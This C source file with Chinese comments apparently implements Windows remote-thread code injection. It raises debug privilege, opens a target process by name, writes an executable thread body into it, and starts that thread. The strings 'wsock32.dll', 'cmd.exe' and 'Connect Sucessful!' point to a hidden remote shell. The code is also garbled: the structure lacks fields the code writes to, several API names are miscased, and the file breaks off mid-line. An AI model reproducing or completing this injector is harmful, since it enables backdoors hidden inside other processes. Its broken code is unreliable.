#include<windows.h>
#include <Shlwapi.h>
#include <tlhelp32.h>

#pragma comment(lib,"Shlwapi.lib")

//参数结构 ;
typedef struct _RemotePara{
  DWORD dwLoadLibrary;
  DWORD dwFreeLibrary;
  DWORD dwGetProcAddress;
}RemotePara;

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 提升应用级调试权限
DWORD GetPidByName(char *szName); // 根据进程名称得到进程ID

// 远程线程执行体

int CreateMain(char *szName,DWORD __stdcall ThreadProc)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);

// 获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName(szName);
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0;

// 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT |

MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
// 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;
ZeroMemory(&myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary      = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary      = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress   = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
strcat(myRemotePara.strMessageBox,"Sucess!\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\0");
strcat(myRemotePara.cmd,"cmd.exe\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\n\0");

//写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess

,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof

myRemotePara,0))return 0;

// 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread

,pRemotePara,0,&byte_write);

FreeLibrary(hKernel);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);

return 0;
}

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegevalue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}

DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_value;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;

hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_value)return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
do
{
if(StrCmpNI(szName,pe3